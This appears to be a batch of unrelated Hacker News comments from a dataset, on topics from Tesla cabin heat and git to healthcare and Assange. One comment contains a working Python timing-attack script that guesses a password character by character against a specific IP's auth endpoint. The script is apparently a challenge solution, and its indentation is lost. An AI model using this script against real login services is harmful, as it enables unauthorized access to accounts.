skysight-inc/HackerNews huggingface dataset:
> What's really astounding to me is the "cabin overheat protection" feature. As the article pointed out, what this really is Tesla trying to prevent the non-automotive grade screen from failing, even though it's touting for protecting dogs and children at extremely hot summer days. It regulates the cabin temperature at +40C, but that's the temperature children's organ will start failing.

While the article seems well researched and very informative otherwise, 40C is the internal body temperature at which a child's organs will start failing.

The internal air temperature of the car (regulated to 40C in this case) will of course have an effect on the passenger but does not necessarily lead to them reaching a body temperature equivalent to the ambient air because the body possesses cooling mechanisms.

40C still seems problematic for children though. Quoting https://www.uptodate.com/contents/heat-stroke-in-children:

> Evaporation is the principal mechanism of heat loss in a hot environment, but this becomes ineffective above a relative humidity of 75 percent. The other major methods of heat dissipation; radiation (emission of infrared electromagnetic energy), conduction (direct transfer of heat to an adjacent, cooler object), and convection (direct transfer of heat to convective air currents); cannot efficiently transfer heat when environmental temperature exceeds skin temperature (typically 35°C or 95°F).
You're right, it is not bricking since the device is still bootable and somewhat usable, just locked as a result of the application running.

Just rebooting the phone won't clear it up, however, it would be a little more complicated than that. The use case this dev is presenting is that they have somehow gotten a user to install this malicious app and approved it for the permissions it requires.

Once it locks the device you don't even need to wait for the battery to die, you can simply hold down the power button and it will power off after a few seconds.

The issue is that the app sets to auto run on boot which means you would have a small window to uninstall the application before it locks the device again.

So if you were lucky enough to have enabled USB debugging prior to installing this app you could run an adb command to uninstall it. If you're technically savvy enough you could load a custom recovery and delete the malicious app from there.

..or, simply, you could just factory reset the device and the malicious app would be erased as part of the profile reset.
You read my mind! I was just going to post this -

So here's a real application than Snap and kiddie jokes (not saying they are not fun!) - a scramble suit to protect witness/whistle-blower identity
I was thinking about people moving to the US and working there at an Amazon warehouse.

If we talk about working for that rate in their native country, I think it can be up to 5 billion. And a billion more will take the job without being too happy.
Yes, there is a balance between preventing problem or fixing problem. It is useful be prevent problems, but it remains useful to be able to fix them easily.
I'm not sure what the issue is. If you are already hiding in a place unreachable by the Swedish LE, you don't have to take part in anything. If you agree to take part in the investigation over internet anyway, that's still better for the victims. (verdict, potential damages from any sources the LE can take over, public acknowledgement of guilt, etc.)
Show HN: Supralayer – Upcoming 3D Digital Twin for Industry
A loud "bang" is probably from main supply capacitors. Dust matters but unless it is very conductive it won't affect low voltage circuits very much.
Yes. You can get your investments insured, so that the risk is priced in. With limited liability, it is a viable strategy to invest in things that have a likelihood of a mild reward, but a risk of catastrophic failure that hurts and damages a large number of people(the proverbial pennies in front of a steamroller). And it is society that bears the costs for such failures. However, insurance for such a project would be very expensive or impossible to get.

Also, with pension funds, you generally don't have the power to vote. In the case of an uninsured pension-like fund, I prefer it that the fund manager/whoever holds the voting power be the one that is primarily held accountable. If institution managing the fund is wiped out and the liability still remains, then we can move on to the the shareholders without voting rights.
Yes, and in the vein of this git became way less scary after learning how it works this course helped a lot (unfortunately paid but a lot of businesses have a licence - https://www.pluralsight.com/courses/how-git-works).

I also use magit (https://magit.vc/) - inside spacemacs (http://spacemacs.org/)
FWIW, I heard Joe Biden considers climate change to be a crisis and wants to tackle it in a moderate way. Go figure.
How to become an IT contractor in the UK
But you look at what young travellers
and photographers actually spend time
appreciating and sharing images of

Abandoned, rusting power plants make great subjects for photography [1] - IMHO "striking photographs" is a poor proxy for beauty, popularity or good public architecture.

[1] https://abandonedsoutheast.com/2017/04/09/power-plant/
I was having trouble putting this into words, but now after having a think, I liked when Goldgar got into the historical context of the crisis. To heavily paraphrase, in that stratified society, speculation appeared to be a way to climb the social ladder. The article's author, the one quoting Goldgar, obviously didn't interpret it this way.

I'm not saying Goldgar sees the tulip bubble that way, or that it's a historically accurate narrative, but it's miles better than saying it was caused by "fools and greed", which is similar to saying that something was caused by evil. I guess my principal point is that stupidity, greed and evil are fundamentally socioeconomic symptoms, in that they are not explanations of themselves.
I'm curious to hear others' opinions on using a database as a message queue. One issue I have with most message brokers is that you can not perform adhoc queries or manipulations of the queue.

When you've got a backlog situation, it's nice to be able to answer questions like:
- how many of these queued msgs are for/from customer/partner X.
Still leaves 99,9999% of the Android market vulnerable.
That's the final (Still hackish code but does the work)

import requests

CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"

URL = "http://35.246.158.51:8070/auth/v1_1"

HEADERS = {'User-Agent' : 'ed9ae2c0-9b15-4556-a393-23d500675d4b', 'content-type' : 'application/json; charset=utf-8' }

PAYLOAD ={}

DISCOVERED_PASSWORD = "f"

def check(chars):
result_chars = []
for i in range(len(chars)):
PAYLOAD['Seed'] = "d14236b60e0f4aef94499cb648a5f522"

PAYLOAD['Password'] = DISCOVERED_PASSWORD + chars[i]

r = requests.post(url=URL, json=PAYLOAD, headers=HEADERS)

result = r.json()

delay = result['Time']

if(delay > len(PAYLOAD['Password'])*30000000):

result_chars.append(chars[i])

return result_chars

for i in range(40):

res = check(CHARACTERS)

for i in range(10):

res = check(res)

print(res)

DISCOVERED_PASSWORD += res[0]

print("FOUND ONE MORE! {}".format(DISCOVERED_PASSWORD))

print(DISCOVERED_PASSWORD)
> It only seems to happen with software.

Nope, it happens with EVERYTHING. If it doesn't work like something they've used before, they have to really, really need it to use (as in, be forced to use it), otherwise, into the trash it goes.
Just to say it explicitly - the problem with nuclear plants is not radioactivity while they operate normally. It is the catastrophic consequences then something goes (really) wrong that are the real issue with them.
Not sure why you’re downvoted but I don’t think Bezos’ sentiment is to give up on earth.
This particular pattern should be fixed in a future git (hopefully). There's a new command that supports all these

git restore --staged file # reset the index from HEAD

git restore --worktree file # reset the worktree from the index

git restore --source=HEAD --staged --worktree file # reset both the index and worktree from HEAD

Still in development [1] so if you think something can be improved, I'd love to hear it.

[1] https://github.com/git/git/blob/pu/Documentation/git-restore...
Well I did say I'm not sure I had a clear definition..

Distinction wise, didn't you just lay out the same distinction?

And please don't get me wrong, you can have a pub/sub, rest, or event driven architecture. I would just posit that you're basing your architecture on fundamentally the wrong thing. Those sorts of things are design choices, maybe big choices but choices that are much better off being driven by the needs of the problem at hand which in any complex system is many and diverse. Your systems framework should be flexible enough to cater to whatever makes sense with the problem set.

Pushing every single problem into the same rest api, rpc, or pub/sub event system is going to end the same way.

The next time you see someone talking about some kind of architecture driven by some kind of tool replace the tool's name with "Database" and see just how stupid it sounds to even be discussing it.

> Using a database will allow for the same communications, but it’s a little more simple. Single query/result, connection pool, and transactional models are supported out of the box. Service discovery is a matter of just querying the right tables. There is an operational cost of maintaining the database, and possibly having a piece of infrastructure that impacts all services. But, all the production grade databases support clustering, but still things can go wrong and it can lock the whole system up (looking at you MyISAM).

> The primary benefit of a database driven architecture is that data is freely available. Services just provide data and don’t mandate how it is used. You still have the necessary coordination in developing a system; part a generates rows like this and part b will modify it like that. But now you can have any new service start non-destructively consuming those tables. This free flow of data allows for rapid prototyping, simple services crosscutting, intuitive monitoring and easier development.
As an expat living as Tallinn resident for a couple of years, here are my two cents

1. Having public transport has a remarkable effect on the quality of life - At any time of the day, I can hop on go to any part of the city without worrying about costs involved. I have started to go out more than sitting at home simply because it's hassle-free.

2. Connectivity and frequency are quite poor if you don't reside in the city centre. It gets even worse (even in the city centre) at night. Majority of residents tend to live in the outskirts and they continue to use private vehicles in spite of free public transport.

3. Short journeys that were covered by foot are now covered by public transport defeating the purpose. Most of the times, I use a bus for half a km even though I can walk that distance quite easily.

4. The population is very low so one can easily find empty seats on most routes.
I want to explicitly second this. It's a good book and it stimulates thought.
> The trope of "money doesn't create happiness"

It's not a trope. It's backed by research. As an earlier poster says well-being research suggests the perceived increase in happiness plateaux after some figure around $75k. In fact, too much money can isolate you from your friends and family who stop being able to relate to you or feel you always have one over on them, or you move to a posh neighbourhood in a massive gated house and no one comes to visit any more...

> fills me with dread. For me there isn't much of an option beyond becoming successful as an entrepreneur

Utter rubbish. You should take this course. Believing that the only way to be happy is slogging your guts out on a moonshot to become a multi-millionaire is a sure way to stress yourself out and become unhappy.

There's more to life than money. In our industry it's easy to make more than enough for a comfortable life. Many people I work with take large breaks from work. That is real freedom. What would you do if you made all that money anyway? Maybe just start doing those things as soon as you can - you've got to find something to fill your time, either working for someone else or doing things that interest you.

> Having to work until 65 running a mildly successful business that I built seems like it shoild be much more gratifying than slaving away to enrich others.

That may be true. But that statement sounds like you wouldn't be doing it for the money rather the intrinsic satsifaction. That's far more valuable after you've hit that point of not worrying about bills, etc.
This agreement is about property claims, not about war crimes against civilians.
Ask HN: What is the best way to store images?
Hi,

I want to make a site similar to Google Photos, but I'm hung up on the best/cheapest way to host the image files.

I don't want to run into the situation where I need to conduct an expensive, complex migration from one hosting provider to another (E.g. DO to AWS)

I've considered hosting them on S3, but I'm not a huge fan of the complex AWS ecosystem (though maybe I should force myself to learn it in-depth)

I enjoy using DigitalOcean, but it seems to be more expensive.

My plan is to use some object storage offering, and save IDs in a database (because I've read that storing large files in the DB is "bad")

I have 0 experience in the large-file storage space – I've only ever worked with SQL databases. Can someone please share their experience?

Cheers!
That reminds me of Sleep is Death [0]

It's a sort of a turn-based storytelling game. One player plays the story and the other controls the world and the NPCs. It's pretty indepth and well though out, despite the low-fi look.

[0] http://sleepisdeath.net/
That's not what the story talks about.

Do you remember it?

First of all the story is titled "The Boy Who Cried Wolf"

But, most importantly, the boy was "crying wolf" when there was no wolf.
You don't think giving someone a terminal illness is worth appropriate compensation?

What you described as compensation I would describe as adding insult to injury.
Why bother writing tests at all?
Let's use deep learning to remake Feynman voice!
There are 2 things:

1. Commoditized website development where any tom dick and harry can setup a quick website on wix/squarespace etc because frankly, they don't need more than that. It is really hard to compete against tools like these because they sell $2/Year websites (or something low enough)

2. There are businesses (small-mid sized) that have built something way back (read:late 90s-early 2000s) who are struggling with their in-house system and looking for a better solution. But they are too scared to think about changing because they don't know who to talk to and what it will cost. You need to find those businesses.

Source: My company finds the #2 and it is a gold mine.
The thing is that fundamentally you can in software undermine any degree of real ownership.

Say I sell you a car outright. I decide to push an update that bricks the car and pops up a window on the in dash entertainment with an offer to re enable it for a monthly fee or an offer to buy it back for pennies on the dollar.

I think we can agree that I basically just stole your car and offered to rent it to you.

My ability to control the heart of your device means we can either

- spend the next century litigating in what fashion and circumstances I am and am not allowed to fuck you and to what degree while hoping that the side with the deepest pockets doesn't win most rounds

- pretend that the dysfunctional hand of the free market is capable of solving a complex societal problem this time

- admit that the privileges and rights that we already acknowledge and value implicitly must include the right to access and modify the software included or they can literally be taken away wholly or in part for the increasing percentage of things that include a chip.

I think this is true implicitly but am entirely open on the idea of spelling this out explicitly in terms of additional laws and lawsuits.

Are you really on the side of the weasels?
for the US number if from international, are we supposed to include the number between parenthesis [+1(833)672-1001] when dialing ?
> Several countried with strong single-payer health care systems spring to mind. France and Germany and the UK are not generally regarded as having 100x the startups as the US.

The consensus is that it's too hard to fire in those countries. (Look at the lawsuit that bankrupted Mandriva for an especially pointed example). I'm not aware of any country that combines socialized healthcare with US-style at-will employment, but perhaps that's the ideal combination - you can lose your job at any time, but losing your job does not mean losing access to medicine.

> Self-funding and creative bootstrapping has not replaced VCs.

It sort of has. VCs have shown very poor returns and a lot of companies have bypassed them.

> Single-payer is a policy whose time has come in the US. But it might not be a silver bullet for conjuring startups ex nihilo.

There's a noticeable spike in people starting businesses once they reach medicaid eligibility age (50 I think?) So while it won't fix everything it should make a significant difference.
Just as a personal observation, why are you playing contact basketball with earphones in? Are you listening to music while playing a team sport? Are you waiting for calls that are so important that you cannot be out of reach for ~30 minutes?

That seems so completely and utterly alien to me, this odd obsession with multitasking seems counterproductive.

I enjoy getting away from any kind of electronics and communication while I'm working out, letting me focus completely on the workout and nothing else. Plus sweat ruins earphones and the gym is playing music anyway.

>"If your ears play well with AirPods, then they'll rarely fall out if ever. I do know friends whose ears aren't compatible though and they won't fit them at all - so there's that issue and I'm not sure what % of the population it affects."

That's straying dangerously into "you're holding it wrong" territory.

>"Fine by me. I had my first gen AirPods for two years, and I used them for hours every single day. I was more than happy to immediately buy AirPods 2 when they came out. I can just send the first gen AirPods back to Apple for recycling."

Recycling is not an excuse, it does not absolve you of the responsibility for your over-consumption, nor does it absolve Apple of their wasteful design choices. Airpods are disposable by design. No amount of recycling will ever make up for the fact that their entire design is the very definition of planned obsolescence.
Could you please write about this! Sounds very interesting!
It is only "hardly a pain" when you look at the whole country. But for cities where the only meaningful employer in hundreds of km range is the local mine and its suppliers and customers, the consequences of a rapid unscheduled employer disappearance are disastrous.

And who would have thought: exactly those regions are, no matter the country, the ones where the right-wing populists easily gained and kept ground. I mean, sure, the people there will wake up once they realize that no amount of kicking out foreigners will bring back their coal jerbs, but for now democracy is stuck with the aftermath of decades of ignorance.
She can't get pregnant.

You can make her pregnant.

If you don't want to risk it, use a condom.

Is it so hard?
Well said/quoted. Corollary: never stop trying.
> Glyphosate isn't carcinogenic.

Opinion is divided on that assertion.

Even Monsanto seems unsure. Why else would they suppress so much unfavourable research and employ all those social media shills?
MAGA will save this! Trump will make coal mandatory in every home! switch off the heating! lets make coal great again :D
That says a lot about how foolish men are in those "business" places, assuming they even exist...
> Israelis in general are very blunt and perfectly willing to question superiors and voice opinions and questions in situations where Americans never would. This includes the military where subordinates would question a superior in a way that would never fly in an American military (and probably others).

Well, they claim they are but you don't see anything at least from outside.
From outside it seems they are easily buying whatever government is selling to them. Working on surveillance projects is rather embraced and you even receive strong social support for it.

So I don't get how do you compare it to the US! Whereas in the US you would have a hard time to convince people to work on surveillance projects and even then often people end up having a hard time with their moral values even when they are not directly doing anything wrong.
Not to mention many anti-surveillance activists are based in the US. I believe that is a very unfair comparison.

The truth is every country you look people are a bag of goods and bads and they manage to find greedy people to work on surveillance projects even in the EU.
Just because something sounds chemical-y doesn't mean it's bad for you, It just means that we know rather exactly what it is. Just about any ingredient has a chemical formula associated with it.
I've signed contracts where they say it's common, and regret it every time. This is a massive red flag.

It doesn't necessarily mean that they plan to screw you. But it certainly means they don't trust you, and it brings all the downsides of lack of trust.

It also means that they're effectively filtering out talent, so your colleagues are unlikely to be very good.
It's a badly-kept secret that Monsanto suppressed various studies on glyphosate to hide unfavourable results.
I would licence it and pitch it to him as a SaaS. Bonus or a raise won't get you as much value for your product but this way you can get another stream of monthly income and maybe he knows other shipping companies that you can sell your product to. Good luck
I understand, but my point is that it's not even a local legend - it's a French story written for French audiences, mostly for entertainment purposes, so there is no point considering it in a historical context. It's like wondering whether Othello was a real Venetian general.
That's not a fact t all, that's you personal assumption, at best.

Assange ran and fought Swedish justice, there's proof of it, he did it, he said he did it.
Potentially both? At least if I want my customers to imagine so because thinking I value them inspires them to spend more money I wouldn't say out loud that they weren't
Swedish have no obligation to say what Assange wants to hear.

It's not a trade, he allegedly raped a girl, that's his problem.

If I was Assange I would want my name clear on rape allegations, I wuoldn't run away from it.
I disagree with you. The majority of users don't care about being behind a CG-NAT (what you call "crippling"), and CG-NAT offers a very big layer of protection that avoids problems like the one on this article.
Do Technical Writers Need to Learn Programming Language
People are already ditching John Deere for not letting them repair the tractors they own.

If you are developing an AI sophisticated enough to pilot a tractor, would it only be able to drive one model? If John Deere ever achieved this goal, the AI should be adaptable to other brands as well.

Car manufacturers are doing this already with Android. They do not develop the OS, they simple accommodate their cars for it.

I have a working GPS system that belonged to my father's John Deere tractor. I cannot use it anymore, even in other John Deere tractors. This is wasteful and makes no sense. People working in farms, close to nature and subject to profit margins they do not completely control feel very uncomfortable with this.
IIRC FinFisher was founded by the same guy who created Backtrack (now Kali Linux)?